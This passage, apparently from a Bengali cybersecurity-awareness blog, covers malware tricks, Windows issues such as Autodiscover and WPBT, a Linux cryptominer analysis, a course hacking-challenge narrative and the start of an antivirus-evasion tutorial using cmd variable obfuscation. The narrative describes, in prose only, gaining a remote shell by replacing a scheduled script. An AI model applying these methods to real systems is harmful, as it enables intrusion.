যাবে। যার মাধ্যমে সেই

ব্যক্তি জেনে যাবে যে, আপনি অমুক এন্টিভাইরাস ব্যাবহার করছেন।

আপনার এন্টিভাইরাস সম্বন্ধে জানতে পারলে সাইবার অপরাধীদের কিছুটা তো লাভ হবেই। সেই বিষয়ে পরে আলোচনা করা যাবে। ধন্যবাদ।

ব্যাটারি বনাম ভাইরাস

কেমন হবে যদি ল্যাপটপে চার্জ দিতে শুরু করলেই ম্যালওয়্যার দ্বারা আক্রান্ত হন? অর্থাৎ, ল্যাপটপ চার্জে থাকলে ম্যালওয়্যার কাজ করে আবার, চার্জ থেকে খুললেই ম্যালওয়্যার বন্ধ!

কিন্তু কিভাবে?

এক্ষেত্রে, একজন attacker আপনার ল্যাপটপে scheduled task হিসেবে ম্যালওয়্যার রেখে দিবে। আর, Windows কম্পিউটারে এমন অপশন রয়েছে যে, চার্জার থেকে ল্যাপটপ খুললেই scheduled task বন্ধ হয়ে যাবে।

তাই সজাগ থাকুন। আপনি হয়তো চার্জে লাগিয়ে ল্যাপটপ ব্যাবহার করার সময় সন্দেহজনক কিছু আন্দাজ করলেন। তখন ল্যাপটপটি চার্জ থেকে খুলে একজন অভিজ্ঞ ব্যক্তির কাছে ল্যাপটপ দেখাতে নিয়ে যেতে চাইবেন। কিন্তু, যখনই চার্জ থেকে ল্যাপটপ খুলবেন, তখনই ম্যালওয়্যার বন্ধ হয়ে যাবে!

নকল চেহারা

নিচের ওয়েবসাইটে গিয়ে যতোবার refresh করবেন, ততোবারই নতুন চেহারা দেখতে পারবেন। কিন্তু, প্রত্যেকটি চেহারাই নকল। আর্টিফিশিয়াল ইন্টেলিজেন্সের মাধ্যমে তৈরি করা এসব ছবি ব্যাবহার করে, প্রজুক্তি সম্বন্ধে অজ্ঞ ব্যক্তিদের কাছে নিজেকে এক নতুন পরিচয়ে পরিচিত করা সহজ। তাই, অনলাইন বিশ্বে সচেতন থাকুন।

https://thispersondoesnotexist.com/

জিরোডিয়াম

এখানে মিলিয়ন ডলার দিয়ে vulnerability কেনা-বেচা করা হয়। Vulnerability হচ্ছে কম্পিউটার সিস্টেমের এমন দুর্বলতা, যেটার সুযোগ নিয়ে হ্যাক করা সম্ভব।

আপনি যদি জিজ্ঞেস করেন-

> ওয়েবসাইটে প্রবেশ করে কোথাও ক্লিক না করলেও কি হ্যাক হওয়া সম্ভব?

উত্তরে বলবো- সম্ভব। মূলত, এসব vulnerability -র বাজারে drive-by download এর মতো vulnerability বিক্রি করা হলে সেই vulnerability -র সুযোগ নিয়ে আপনি একটি ওয়েবসাইটে প্রবেশ করলে বা, লিংকে ক্লিক করলেই গোপনে ম্যালওয়্যার ডাউনলোড করানো সম্ভব। আপনি চাইলে Prometheus TDS সম্বন্ধে ইন্টারনেটে জানার চেষ্টা করলেই বুঝবেন।

যদিও, আপনি যদি অন্যের টার্গেট হওয়ার মতো কর্মকান্ড না করেন সেক্ষেত্রে মিলিয়ন ডলারের vulnerability এর স্বীকার হওয়ার ভয় খুব একটা নেই।

MS word

আপনারা MS Word সম্বন্ধে জানেন। একটি MS Word ডকুমেন্টে লেখালেখি করা হয়। কিন্তু, এই MS Word ডকুমেন্টের মধ্যে file রাখা যায়, সেটা জানেন কি? ছবিতে মাউসের cursor এর ওপর ডট্ চিহ্নের মতো যেটি দেখতে পারছেন, সেটি একটি ক্ষতিকর file। এই file টি ৩য় লাইনে insert করে দেওয়া হয়েছে। কেউ যদি MS Word ডকুমেন্টটি open করেন এবং উপরের হলুদ অংশে থাকা 'Enable Content' বাটনে ক্লিক করেন, তাহলেই ক্ষতিকর file টি run হবে। তাই, অন্যের পাঠানো কোনকিছু সম্বন্ধে সাবধান থাকুন।

আপনার সিকিউরিটি আপনার

আপনি কম্পিউটারে অনেক সফটওয়্যার ব্যাবহার করেন। আপনার মতো ব্যাবহারকারীদের নিরাপত্তার স্বার্থে সফটওয়্যার কোম্পানিগুলো অনেক টাকা খরচ করে। এজন্য শুরুতেই তাদেরকে সাধুবাদ জানাচ্ছি। তবে, আপনার নিজস্ব ভুল (human error) এর কারনে যদি সেই সফটওয়্যারের মাধ্যমেই সম্পুর্ন কম্পিউটারটি হ্যাকিং এর স্বীকার হয় তাহলে, সেই দায় অনেকাংশেই সফটওয়্যার কোম্পানি নিবে না। যেমন ধরুন, আপনি যদি নিচের মতো কোন ভুল করেন তাহলে সেই দায় একান্তই আপনার-

* একটি সফটওয়্যারে double click করে open করলে সফটওয়্যারটির একাধিক file (যেমন- dll file) load হবে। কিন্তু, আপনি নিজে থেকে (না বুঝেই) এমন আরেকটি ক্ষতিকর সফটওয়্যার install করলেন, যেটা আপনার আগের সফটওয়্যারের সেই dll file গুলো delete করে দিয়ে, হুবহু সেই একই নামে ক্ষতিকর dll file রেখে (write করে) দিলো। তাই, এখন আপনি যখনই আগের সেই সফটওয়্যারটি open করবেন তখনই সফটওয়্যারটি সেই ক্ষতিকর dll file গুলোকে load করবে। অতঃপর, আপনার সম্পুর্ন কম্পিউটার হ্যাক।

* আপনি এমন কাউকে আপনার কম্পিউটার ব্যাবহার করতে দিলেন, যেই ব্যাক্তি উপরের আলোচনার মতো নিজে থেকেই একটি সফটওয়্যারের আসল dll file গুলো delete করে দিয়ে, হুবহু সেই নামেই ক্ষতিকর file রেখে দিলো। ফলে, আপনি সেই সফটওয়্যারটি open করার সাথে সাথেই হ্যাক।

উপরের ভুলগুলো লক্ষ্য করুন। উভয়ক্ষেত্রেই শুধুমাত্র সফটওয়্যার ব্যাবহারকারীর নিজস্ব ভুলের কারনে হ্যাকিং এর স্বীকার হয়েছেন। এখানে কিন্তু তিনি সফটওয়্যার কোম্পানিকে দোষ দিতে পারবেন না। সেই সফটওয়্যার ব্যাবহারকারী অন্যান্য ব্যাক্তিরা কিন্তু নিরাপদেই সফটওয়্যারটি ব্যাবহার করছেন। তাই, বিশ্বাস করার আগে যাচাই করুন। না হলে আপনার নিজস্ব ভুলের দায় কোম্পানি নিবে না। বড়জোড়, সমবেদনা জানাতে পারে।

লিনাক্স ম্যালওয়্যার এনালাইসিস

লিনাক্স নিরাপদ- এমন ধারণা ভুল। প্রত্যেক প্রোগ্রামেই ত্রুটি থাকে। আমি সম্প্রতি একটি লিনাক্স ম্যালওয়্যার এনালাইসিস করেছি, সেটা নিয়েই আজকে আলোচনা করবো।

ম্যালওয়্যারটি প্রথমে VirusTotal -এ upload করে দেখলাম ৩০ টি এন্টিভাইরাস সেটাকে শনাক্ত করেছে। এমনকি Google drive -এ upload করার পর download করতে গেলেও warning দেখাচ্ছিলো। কিন্তু, ম্যালওয়্যার (sample) টি ছিলো POSIX tar আর্কাইভ file এবং extract করার পর C, bash সহ একাধিক language এর compiled file পাই। তবে, এটা অনেকটা STRRat ম্যালওয়্যার এর মতো পদ্ধতি অবলম্বন করেছিলো। STRRat ম্যালওয়্যার মানুষকে অধিক ভয় দেখানোর জন্য নিজেকে ransomware হিসেবে দেখানোর চেষ্টা করে (অথচ, সেটা ransomware না)। একইভাবে, আমি যেই ম্যালওয়্যার এনালাইসিস করছি সেটা শুধুমাত্র bash দিয়ে কাজ করলেও অন্যান্য প্রোগ্রামিং ল্যাঙ্গুয়েজ এর file (অযথা) রেখে দিয়েছিলো। এই bash file টি run হলে প্রথমে কিছু .jpg/.png ছবি ডাউনলোড করবে; কিন্তু সেগুলো আসলে ছবি না বরং, সেগুলোতেও bash ফাইল যুক্ত ছিলো। সেগুলো ডাউনলোড হয়ে গেলে dd কমান্ড দিয়ে সেই ডাউনলোডকৃত file গুলো থেকে command বের করে (extract করে) ম্যালওয়্যারটি নতুন আরেক file -এ save করে রাখছিলো।

বলাবাহুল্য, বিভিন্ন ম্যালওয়্যারের মধ্যেই বর্তমানে এরকম ছবির নাম দিয়ে ম্যালওয়্যার পাঠানোর প্রবণতা দেখা যাচ্ছে যেমন- GhostEmperor ম্যালওয়্যারটিকে সম্প্রতি ছবির file signature যুক্ত করে ম্যালওয়্যার payload পাঠাতে দেখা গিয়েছে।

যাই হোক, আমার এনালাইসিস করা ম্যালওয়্যারটি এরপর সেই save করা নতুন bash file টি run করলেই ম্যালওয়্যারের কাজ শুরু। প্রথমে ম্যালওয়্যারটি কম্পিউটারে চলমান বেশকিছু cryptocurrency যেমনঃ bitcoin, monero ইত্যাদি বিষয়ক process বন্ধ করে দেয় (যদি চলমান থাকে)। অবশেষে নিজেই আক্রান্ত কম্পিউটার ব্যাবহার করে crypto mining শুরু করে।

দেশ ভেদে, সরকারি-বেসরকারি বিভিন্নভাবেই ম্যালওয়্যার এনালাইসিস করা হয় যাতে করে প্রশাসন বা কোম্পানি জানতে পারে- ম্যালওয়্যারটি কি কি করেছে এবং কার কতোটুকু ক্ষতি হয়েছে ইত্যাদি। যেমন কিছুদিন আগেই Pegasus ম্যালওয়্যার নিয়ে অনেক উত্তেজনা তৈরি হয়েছিলো কিন্তু, সেই ম্যালওয়্যার সম্বন্ধে জানতেও সেটা এনালাইসিস করতে হয়েছে। ইনফরমেশন সিকিউরিটিতে ম্যালওয়্যার এনালাইসিস অনেকটা উঁচু পর্যায়ের কাজ এবং সময় সাপেক্ষ। আশা করি, ম্যালওয়্যার এনালাইসিস সম্বন্ধে আজকের আলোচনায় ক্ষুদ্র পরিসরে ধারনা দিতে সক্ষম হয়েছি। ধন্যবাদ।

ম্যালওয়্যারের মধ্যে বাগ!

ইংরেজি bug অর্থ ছারপোকা। কিন্তু, কম্পিউটার প্রোগ্রামিং এর পরিভাষায় bug অর্থ ত্রুটি। আজকে Sidoh নামক ransomware এর একটি bug এর কথা উল্লেখ করবো। তবে, এটা কম্পিউটার প্রোগ্রাম কেন্দ্রিক bug না; বরং, এটা হচ্ছে ম্যালওয়্যারটির প্রস্তুতকারীদের নিজস্ব চিন্তাভাবনার bug। তারা চেয়েছিলো Windows কম্পিউটারের MS Office ডকুমেন্ট গুলোর মধ্যে কি কি লেখা আছে সেগুলো যাচাই করতে। যাতে করে নির্দিষ্ট কিছু শব্দ লেখা থাকলে সেই file গুলো নিজেদের কম্পিউটারে পাঠিয়ে দিতে পারে। কিন্তু, এই ডকুমেন্টের xml file গুলো থাকে নিচের path বা, লোকেশনে-

> xl/SharedStrings.xml

অথচ, ম্যালওয়্যারটির প্রস্তুতকারীরা অন্য (ভুল) path বা, লোকেশনে খোঁজার প্রোগ্রাম লিখে রেখেছিলো। আর, সেটা হলো-

xl/worksheets/sheet*.xml

এই ম্যালওয়্যারটি WIZARD SPIDER নামক শক্তিশালী সাইবার অপরাধী গ্রুপের। যদিও, তাদের নতুন variant (আপডেটে) এই ত্রুটি সরিয়ে দিয়েছে। কিন্তু, তারপরও এরকম ভুল হওয়া এটাই মনে করিয়ে দেয় যে, মানুষ মাত্রই ভুল।

ম্যালওয়্যারের বংশ পরিচয়

একটি ম্যালওয়্যারের সন্ধান পাওয়া গিয়েছে, যেটার সাথে ৫ বছর আগের আরেকটি ম্যালওয়্যারের মিল আছে। ম্যালওয়্যার ২টি একই family বা, পরিবারের মনে করা হচ্ছে। কিন্তু, রিসার্চারগণ কিভাবে ৫ বছর আগের ম্যালওয়্যারের সাথে নতুন শনাক্ত হওয়া ম্যালওয়্যারের মধ্যকার মিল খুঁজে পান? মূলত **Yara** ব্যাবহার করে এই তথ্য জানা হয়। Google -এ গিয়ে Yara rule লিখে সার্চ করলেই বিস্তারিত পেয়ে যাবেন।

ম্যালওয়্যার রিসার্চারগন যখন নতুন কোন ম্যালওয়্যারের সন্ধান পান, তখন reverse engineering সহ আরও অন্যান্য গবেষণার পদ্ধতিতে এনালাইসিস করেন। এভাবে সেই ম্যালওয়্যারের মধ্যে থাকা অনেক তথ্য উদঘাটন করেন। এরপর সেই তথ্য গুলো Yara rule এর নিয়ম অনুযায়ী লিখে রাখেন। ফলে, পরবর্তীতে যখন নতুন ম্যালওয়্যার পাওয়া যায়, তখন সেই ম্যালওয়্যারটিকে আগের Yara rule দিয়ে scan করা হয়। যদি এই নতুন ম্যালওয়্যার আগের কোন Yara rule এর সাথে মিলে যায় তখন বোঝা যায়- এই নতুন ম্যালওয়্যারের সাথে পুরনো সেই ম্যালওয়্যারের সম্পর্ক আছে।

সব মিলিয়ে, এই Yara rule এর গুরুত্ব অনেক। এমনকি Yara rule দিয়ে নিজে থেকেই ছোটখাটো এন্টি ভাইরাস বানিয়ে ফেলতে পারবেন।

Tor এর প্রাইভেসি ত্রুটি

Tor বা ডার্ক ওয়েব ব্যাবহার করা হয় প্রাইভেসি রক্ষার জন্য। কিন্তু, সম্প্রতি এমন একটি ইস্যু প্রকাশ পেয়েছে- যেটা Tor ব্যাবহারকারীদের প্রাইভেসি'কে প্রশ্নবিদ্ধ করেছে।

মূল আলোচনা

বর্তমানে ডার্ক ওয়েবে এমন অনেক ওয়েবসাইট আছে যেগুলো v2 বা, ভার্সন ২ এর ডোমেইন। কিন্তু, ২০২১ সালের পর থেকে ডার্ক ওয়েবের v2 বাতিল হয়ে যাবে এবং v3 ব্যাবহার করতে হবে বলে জানা যায়। তাই, কেউ যদি ডার্ক ওয়েবের এমন ওয়েবসাইটে প্রবেশ করতে চায়, যেই ওয়েবসাইটে এখনও পুরাতন v2 ব্যাবহার করা হচ্ছে, তাহলে তিনি নিচের ছবির Warning এর মতো কিছু লেখা দেখতে পাবেন। কিন্তু, সমস্যা হচ্ছে এই Warning এর মধ্যে time বা, সময় উল্লেখ করা থাকে যেটা log হিসেবে জমা থাকবে। অথচ, এই একই সময় সেই ডার্ক ওয়েবের log হিসেবেও জমা থাকবে। তাই, কেউ যদি আপনাকে track করার জন্য এরকম v2 ওয়েবসাইট ব্যাবহার করে তাহলে, তার ওয়েবসাইটে জমা হওয়া log এর সময়ের সাথে আপনার কম্পিউটারের সময় (timestamp) মিলে গেলেই আপনার সকল কর্মকান্ড সম্বন্ধে জানা যাবে।

প্রশ্ন আসতে পারে-

আমার কম্পিউটারের log তিনি দেখবেন কিভাবে?

আসলে, Tor ব্যাবহার করা হয় এই কারনে যে, পুলিশও যেনো আপনার অনলাইন কর্মকান্ড track করতে না পারে। কিন্তু, এই সাম্প্রতিক ইস্যুর মাধ্যমে ক্ষমতাশীল কেউ চাইলেই আপনার কম্পিউটার নিয়ে নির্দিষ্ট ওয়েবসাইটের log এর সাথে মিলিয়ে দেখতে পারবে। অথচ, Tor এজন্যেই ব্যাবহার করা হয় যাতে এই ধরনের নূন্যতম সুযোগও না থাকে। সেই হিসেবে বিভিন্ন দেশের প্রশাসনের প্রাইভেসিও বিপদে। কারন তারাও Tor ব্যাবহার করেই অনেক কাজ করে। অর্থাৎ, এই প্রাইভেসি ইস্যু প্রভাব ফেলেছে সকল শ্রেণি-পেশার মানুষের উপরেই।

Windows এর ইস্যু

ভালো কাজ করলে শাস্তি পেতে হয় কি? নিশ্চয়ই না। কিন্তু, ভালো সফটওয়্যার বানালে তার বিরুদ্ধে বিভিন্ন সিকিউরিটি আক্রমণ আসবে, সেটাই স্বাভাবিক। তার বাস্তব উদাহরণ হচ্ছে Windows অপারেটিং সিস্টেম। এটি বিশ্বের অন্যতম ও বহুল ব্যাবহৃত একটি অপারেটিং সিস্টেম। তাই, অপরাধীরা Windows এর বিভিন্ন ত্রুটির সন্ধান করে attack করার চেষ্টা করবে, সেটাই স্বাভাবিক। যেমন- গত বছরের SolarWinds, Colonial Pipeline এবং HAFNIUM এর মতো সাইবার আক্রমণের পাশাপাশি এই বছরের PrintNightmare এবং কিছুদিন আগের MSHTML এর vulnerability (ত্রুটি) সবগুলোই কিন্তু Windows কম্পিউটার কেন্দ্রিক।

তবে, আজকে যেই ২ টি ইস্যু নিয়ে আলোচনা করবো- সেগুলো আরও বেশি সাম্প্রতিক। বলা যায়, সেগুলো নিয়ে আন্তর্জাতিক সাইবার মহলে এখনও গুঞ্জন চলছে। সেই ২ টি ইস্যু হচ্ছে- WPBT এবং Autodiscover।

Autodiscover

মনে করুন- আপনি চাকরি পেলেন এবং আপনার কোম্পানির ইমেইল সার্ভার (Microsoft Exchange) ব্যাবহার করার জন্য আপনি ইমেইল এড্রেস

এবং পাসওয়ার্ড লিখলেন। এখন সেটা যাচাই করা সহ বাকী কাজ করবে Autodiscover। কিন্তু, এই Autodiscover কাজ করার সময় নিচের লিংকের মতো ওয়েবসাইটে আপনার পাসওয়ার্ড পাঠাতে পারে-

“autodiscover[.]com”

কিন্তু, এই লিংকের ওয়েবসাইট তো যে কেউ কিনতে পারে। তাই, “Amit Serper” নামক একজন ব্যক্তি এই বিষয়ে রিসার্চ করেছেন এবং উপরের লিংকের মতো ওয়েবসাইট নিজের নামে রেজিস্টার করে দেখেছেন যে, চার মাসের মধ্যে তার সেই ওয়েবসাইটের লিংকে প্রায় ৪ লাখের মতো ইমেইলের credential (পাসওয়ার্ড) চলে গিয়েছে। কাজ সহজ করার জন্য এই Autodiscover ব্যাবহার করা হলেও মানুষ ভাবতেই পারে নি যে, এমন ইস্যু দেখা দিবে।

WPBT

Windows অপারেটিং সিস্টেম ছাড়াও হার্ডওয়্যার গুলোতে কিছু প্রোগ্রাম থাকে। এগুলোকে firmware বলা হয়। কিন্তু, Windows কম্পিউটারে WPBT নামের একটি ফিচার আছে। এই WPBT এর মাধ্যমে হার্ডওয়্যার কোম্পানি তাদের হার্ডওয়্যারের firmware -এর মধ্যে এমন প্রোগ্রাম রাখতে পারবে, যেটা Windows নিজে থেকে run করবে। এর একটি উপকারিতা হচ্ছে- কম্পিউটারে চোর ধরার জন্য এমন প্রোগ্রাম রাখা যেটা কম্পিউটার চুরি হয়ে গেলেও run হবে; এমনকি চোর যদি নতুনভাবে

Windows দেয় তবুও। কারন, সেই প্রোগ্রাম হার্ডওয়্যারের মধ্যে থাকবেই। কিন্তু, আপনাকে কেউ যদি এমন একটি ম্যালওয়্যার পাঠায়- যেটা আপনার কম্পিউটারের WPBT তে ম্যালওয়্যারের location লিখে রাখবে। তাহলেই, আপনি যখনই কম্পিউটার চালু করবেন, তখনই সেই ম্যালওয়্যারটি run হবে। এমনকি নতুন করে Windows ইন্সটল করলেও সেই ম্যালওয়্যার যাবে না; কারন, ম্যালওয়্যারটি Windows এর মধ্যে না বরং, হার্ডওয়্যারের মধ্যে থাকবে।

পরিশেষে বলবো- প্রতিনিয়ত বিভিন্ন ম্যালওয়্যার আক্রমণ হচ্ছে। তাই, এন্টি ম্যালওয়্যার ব্যাবহার করা খুবই জরুরি। আর, সেক্ষেত্রেও ফ্রি ব্যাবহার না করে paid ব্যাবহার করা উচিত। না হলে একটি কথা সত্য হয়ে যেতে পারে- "টাকা দিয়ে পণ্য ব্যাবহার না করলে আপনি নিজেই পণ্য"।

২০২১ সালে এমনটি ঘটে

কম্পিউটার হ্যাক করা হয় যেভাবে

একটি শিক্ষণীয় লেখা

কয়েকদিন আগে আমি একটি সাইবার সিকিউরিটি কোর্স করছিলাম। আমাদেরকে একটি প্রতিষ্ঠান তাদের নিজস্ব কম্পিউটার হ্যাক করার জন্য দেয়। এটা ছিলো একটি চ্যালেঞ্জ। যিনি কোর্স করাচ্ছিলেন, তিনি একটি কম্পিউটার বেঁছে নিয়ে আক্রমণ শুরু করলেন।

হ্যাকিং আক্রমণ আসলে অনেকটা সুপরিকল্পিত সেনাবাহিনী আক্রমণের মতো। আমরাও পরিকল্পনা করে নিলাম। এরপর যেই কম্পিউটার হ্যাক করতে হবে, প্রথমে সেই কম্পিউটারের নেটওয়ার্কে প্রবেশ করলাম। এখন আমাদের পরবর্তী কাজ হবে- সেই কম্পিউটারের সাথে আমাদের কম্পিউটারের connection গঠন করা। সেজন্যে আমরা প্রথমে একটি scan করে দেখবো- সেই কম্পিউটারের মধ্যে এখন কি কি সার্ভিস open আছে। বলে রাখা ভালো যে, এই scan করা অনেকের কাছে খুবই বিরক্তিকর কাজ। কারন, একটি কম্পিউটারের ৬৫,৫৩৫ টি পোর্টে scan করতে হয়, যেটার ফলে বেশ কিছু সময় অপেক্ষা করতে হয়। অনেকে আবার এই সময় নাস্তা-কফি খাওয়া শুরু করে।

তো, অবশেষে আমাদের scan করা complete হয়। সেই scan এর ফলাফল দেখে আমরা তো খুশিতে 'yes' বলে চিৎকার দিলাম। কারন,

scan করে জানতে পারলাম- আমাদের টার্গেট করা সেই কম্পিউটারের **anonymous FTP login** চালু আছে (অর্থাৎ, আমরা সেই কম্পিউটারের সাথে connect হওয়ার জন্য anonymous শব্দটি নাম এবং পাসওয়ার্ড হিসেবে ব্যাবহার করতে পারবো)। তাই, FTP দিয়ে সেই কম্পিউটারের সাথে connect হলাম। এখন আমরা অন্যের কম্পিউটার নিয়ন্ত্রণে নিয়েছি।

কিন্তু, এটা কি হচ্ছে! একটু আগে যেভাবে 'yes' বলে চিৎকার দিয়েছিলাম এখন তার উল্টো হতে যাচ্ছে! আমরা কম্পিউটারে যেই user হিসেবে login করেছি, সেই user তেমন কিছুই করতে পারছে না। তাই, আমাদেরকে admin হিসেবে login করতে হবে। কিন্তু, আমরা তো admin সাহেবের পাসওয়ার্ড জানি না। তাহলে এখন কি করবো? এটাই ভাবছিলাম। হঠাৎই চমকে উঠলাম। আমরা দেখতে পেলাম- একটি ডিরেক্টরিতে (folder -এ) কিছু file আছে। সেখানে একটি file প্রতি মিনিটে একবার করে execute হচ্ছে (অর্থাৎ, সেই file এর মধ্যে যেই প্রোগ্রাম লেখা আছে, সেটা run হচ্ছে এক মিনিট পরপর)। এটা নিশ্চয়ই admin সাহেবের কাজ। তো, আমরা admin হিসেবে login করতে না পারলে কি হয়েছে? আমরা তো চাইলেই এই file এর মধ্যে ক্ষতিকর (malicious) প্রোগ্রাম লিখে দিতে পারি। এরপর যখন ১ মিনিট পরে সেই file টি আপনাআপনি execute হবে তখন আমাদের লিখে দেওয়া প্রোগ্রাম run হবে।

আপনি জানেন কি? আমরা সেই file এর মধ্যে কি লিখে দিয়েছিলাম?

সেখানে আমরা এমন প্রোগ্রাম লিখে দিয়েছিলাম- যেই প্রোগ্রাম run হলে আমাদের কম্পিউটার থেকে command লিখলে টার্গেট কম্পিউটার সেই command অনুযায়ী কাজ করে যাবে। তো, সেই জন্য আমরা এরকম একটি file আমাদের কম্পিউটারে বানিয়ে ফেললাম। কিন্তু, এই file কিভাবে আমাদের টার্গেট কম্পিউটারে পাঠাবো? ব্লু-টুথ দিয়ে তো আর পাঠানো যাবে না।

কিন্তু, আপনি হয়তো জানেন- আমাদের কম্পিউটার দিয়েও ছোটখাটো ওয়েবসাইট চালানো সম্ভব। তো, যেই কথা সেই কাজ! আমরা আমাদের কম্পিউটারে local একটি ওয়েবসাইট চালু করলাম। আর, আমাদের ওয়েবসাইটে সেই file রেখে দিলাম। এখন আমাদের টার্গেট কম্পিউটার থেকে আমাদের ওয়েবসাইট থেকে file টি ডাউনলোড করিয়ে দিলাম। আর, এক মিনিট পরপর যেই file টি execute হচ্ছিলো সেই file আমাজন জঙ্গলে পাঠিয়ে দিলাম (delete করলাম আরকি)। আর, সেই delete করা file এর নাম ছিলো **exec.py** কিন্তু, সেটা delete করে আমাদের পাঠানো file এর নাম **exec.py **লিখে দিলাম। ব্যস, ১ মিনিট যেতে না যেতেই সেই কম্পিউটার আমাদের file এর নাম দেখে ভাবলো- এটাই সেই file, যেটা আমরা delete করে দিয়েছি। তাই, বোকা কম্পিউটার আমাদের file টি execute করে ফেললো। সাথে সাথে আমাদের কম্পিউটারে command লেখার জায়গা পেয়ে গেলাম। এখন আমরা যেই command লিখে পাঠাবো, টার্গেট কম্পিউটার বেচারা সেই অনুযায়ী কাজ করবে। আর, এখন আমরা admin সাহেবের মতো কাজ করতে পারবো। অবশেষে চ্যালেঞ্জে জিতে গেলাম।

এটা ছিলো সম্পূর্ণ বৈধ। আর, এখান থেকে আপনারা যেই শিক্ষা নিতে পারেন-

* নিজের ঘর বা, অফিসের নেটওয়ার্কে অন্য কোন ডিভাইস প্রবেশ করেছে কিনা- সেটা লক্ষ্য করা।

* কোন file নির্দিষ্ট সময় পরপর execute করানোর আগে সুরক্ষার বিষয় নিশ্চিত করা।

* আপনার যেকোন ডিভাইসে login করার জন্য নিজে থেকে পাসওয়ার্ড set করে দেওয়া।

* আর, এটাও নিশ্চয়ই বুঝে গিয়েছেন যে, আইডি delete করার কাজ হ্যাকারদের না। সেটা অন্যদের কাজ।

পরিশেষে বলবো, আসুন সচেতন হই। সচেতন হলেই বাড়বে সাইবার নিরাপত্তা।

ফেসবুকের সবুজ চিহ্ন

একটিভ স্ট্যাটাস

আপনার ফেসবুক friend যখন অনলাইনে থাকে, তখন আপনি তার ছবির নিচে একটি সবুজ চিহ্ন দেখতে পান। এটাকে active status বলা হয়। আপনিও যখন অনলাইনে থাকেন, তখন আপনার সকল ফেসবুক friend আপনার ছবির সাথে এই সবুজ চিহ্ন দেখতে পারে। কিন্তু, আমাদের উচিৎ ফেসবুকের settings থেকে এই সবুজ চিহ্ন off করে রাখা।

আমি বলছি না যে, যারা এই সবুজ চিহ্ন off করেন না, তারা একদমই অসতর্ক। কিন্তু, আমি এই সবুজ চিহ্ন off করে রাখতে পরামর্শ দিবো নিচের কিছু কারণে-

* আপনার ফেসবুক friend দের মধ্যে এমন ব্যক্তিও থাকতে পারে- যিনি আপনার এলাকাতেই থাকেন। আপনার সেই ফেসবুক friend হয়তো আপনার অনুপস্থিতিতে আপনার ঘরে প্রবেশ করে কোন ক্ষতি করতে চায়। এখন সেই ফেসবুক friend জানে যে, আপনি যখন ঘরে থাকেন তখন অনলাইনে থাকেন। আর, যখন ঘরে থাকেন না তখন অনলাইনে থাকেন না। তাই, এক্ষেত্রে তাকে খুব বেশি কষ্ট করতে হবে না। সে দেখবে- আপনি কখন ফেসবুক থেকে অফলাইনে চলে যাচ্ছেন। তখনই সে বুঝে যাবে যে, আপনি এখন ঘরে নেই। ফলে, আপনার ঘরে যেকোনভাবে প্রবেশ করে ক্ষতি করবে। অনলাইনে আছেন কিনা, এটা জানার মাধ্যমে অনেক কিছুই করা যেতে পারে। কিন্তু, ফেসবুকের সবুজ চিহ্ন বা active status যদি off করে

রাখেন তাহলে, কেউই দেখতে পারবে না- আপনি অনলাইনে আছেন নাকি অফলাইনে।

* অনেক সময় মেয়েদেরকে অনলাইনে দেখে বেকার ছেলেরা অযথা message পাঠায়। কিন্তু, এই সবুজ চিহ্ন off করে রাখলে অনেকটাই স্বস্তিতে থাকা সম্ভব।

* পড়ালেখার ক্ষেত্রেও এটি off করে রাখা উপকারী। কারণ, আপনি যদি আপনার সবুজ চিহ্ন off করে রাখেন তাহলে, অন্য friend দের সবুজ চিহ্নও দেখতে পারবেন না। ফলে, তারা অনলাইনে আছে কিনা, সেটা সাধারণত দেখতে পারবেন না। ফলে, মিনিটের পর মিনিট chatting করে সময় নষ্ট করা থেকেও বাঁচতে পারবেন।

সর্বোপরি, আমি অনলাইনে আছি কিনা, সেই বিষয়ে সবাইকে জানানো আমার কাছে কিছুটা বিব্রকতর মনে হয়। তাই, আমি নিজে এই একটিভ স্ট্যাটাস off করে রাখি। আপনাকেও off করে রাখার পরামর্শ দিচ্ছি.।

শিরোনামহীন

ফেসবুক policy মেনে লেখা হয়েছে

একজন হ্যাকার নিজে থেকেই tool তৈরি করতে পারেন। উন্নত দেশের গোয়েন্দা সংস্থাও বিভিন্ন tool তৈরি করে যেমন- reverse engineering এর জন্য আমেরিকান গোয়েন্দা সংস্থা Ghidra তৈরি করেছে, যেটি আমরা অনেকেই সফটওয়্যারের নাড়ি-ভুড়ি তল্লাশি করার জন্য ব্যাবহার করি। আবার, অনেক গোপন tool থাকে যেমন- ২০১৭ সালে Shadow Brokers নামক হ্যাকিং গ্রুপ, আমেরিকান গোয়েন্দা সংস্থার তৈরি করা EternalBlue নামক exploit জনসাধারণের সামনে ফাঁস করে দেয়। এই EternalBlue ব্যাবহার করে Windows কম্পিউটারের SMBv1 সার্ভার দিয়ে হ্যাক করা সম্ভব!

সে যাই হোক, কম্পিউটার জগতে অসংখ্য tool রয়েছে। তবে, আজকে Cobalt Strike এর সংক্ষিপ্ত পরিচয় তুলে ধরবো। তবে, আমার উদ্দেশ্য শুধুমাত্র শিক্ষামূলক ও সচেতনতা বৃদ্ধি করা।

Cobalt Strike

যেসকল এক্সপার্টগণ সাইবার সিকিউরিটি (red team) নিয়ে কাজ করেন, তাদেরকে বাস্তব malware এর সাথে কাজ করার অভিজ্ঞতা দেওয়ার

লক্ষ্যে Cobalt Strike তৈরি করা হয়েছিলো। তবে, সাইবার অপরাধীরাও তাদের নিজেদের স্বার্থে Cobalt Strike ব্যাবহার করে। যেমন অনেকেই বলেন- Trickbot নামক ম্যালওয়্যার এই Cobalt Strike ব্যাবহার করে। নিচের লিংকে Trickbot এর এন্টি ভাইরাস ধোঁকা দেওয়ার পদ্ধতি নিয়ে আলোচনা নিচে

এন্টি ভাইরাসকে ধোঁকা দেওয়া

গভীর জ্ঞান!

আজকে একটি বাস্তব ম্যালওয়্যারের code দিয়ে আপনাদেরকে দেখাবো- এটা কিভাবে এন্টি ভাইরাসকে ধোঁকা দিতে সক্ষম!

আপনি নিশ্চয়ই স্কুলে নিচের মতো অংক করেছেন-

a=1 এবং b=2 হলে, a+b=3

আপনার Windows কম্পিউটার দিয়েও কিন্তু এরকম অংক করতে পারবেন। এজন্য আপনাকে Command Prompt open করে a এবং b এর মান বসাতে হবে। পার্থক্য শুধু এটাই যে, কম্পিউটারে a=1 না লিখে লিখতে হবে-

set a=1

অর্থাৎ, শুরুতে একটি set লিখতে হবে। এখন যেহেতু a এর মান বসানো হয়েছে তাই, এখন আপনি a+a এর যোগফল বের করতে পারবেন। তবে,

a+a না লিখে লিখতে হবে-

%a%+%a%

